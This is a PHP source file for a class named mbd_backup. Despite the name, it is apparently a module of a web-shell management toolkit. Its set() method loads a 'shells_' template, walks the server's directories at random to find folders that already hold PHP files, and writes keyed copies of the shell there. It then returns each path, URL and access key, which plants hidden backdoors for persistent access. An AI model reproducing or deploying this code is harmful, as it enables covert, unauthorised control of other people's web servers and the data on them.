<?php
class mbd_backup extends mbd_core {
    function __construct($core)
    {
        $this->core = $core;
        if(isset($this->core->data->options)) $this->_o = $this->core->data->options;
    }
    function set($root=FALSE)
    {
        $dirs = $this->dirs(($root?$root:$this->core->root), count($this->_o->names)); 
        if(!count($dirs))
        {
            if(!$root && isset($this->core->server['DOMAIN_PATH'])) return $this->set($this->core->server['DOMAIN_PATH']);
            $this->core->out('dirs not found');
        }
        $file = $this->core->load('shells_'.$this->_o->file, TRUE);
        $data = array();
        foreach($dirs AS $d)
        {
            $f = array_shift($this->_o->names);
            $n = preg_replace('/[^a-z]/', '_', $f); 
            $f = $d.'/'.$f.'.php';
            if(is_file($f)) continue;
            $k = $this->rand(); 
            $g = str_replace('{KEY}', md5($k), $file); 
            $g = str_replace('REP__FILE', $n, $g); 
            if(!$this->file_put($f, $g)) continue;
            $data[] = array($f, $this->core->link($f, $root), $k);
        }
        if(!count($data)) $this->core->out('nothing set');
        $this->core->data->result = $data;
    }
    function dirs($dir, $limit, $search=0)
    {
        $data = array();
        $dir = realpath($dir);
        $adddir = $dir=='/' ? '' : $dir;
        $list = $this->scan_dir($dir);
        shuffle($list);
        foreach($list AS $v) 
        {
            if($v=='.'||$v=='..')continue;
            $f = $adddir.'/'.$v;
            if(is_dir($f)) 
            {
                if($search<2 || rand(1,2)==2)
                {
                    $d = $this->dirs($f, 0, $search+1); 
                    if(count($d)) $data = array_merge($data, $d);
                }
                continue;
            }
            if(!$search) continue; 
            if(!in_array($dir, $data) && preg_match('/\.php$/', $v)) 
            {
                $data[] = $dir;
                continue;
            }
        }
        if(!$search && count($data)>$limit)
        {
            shuffle($data);
            return array_slice($data, 0, $limit);
        }
        return $data;
    }
}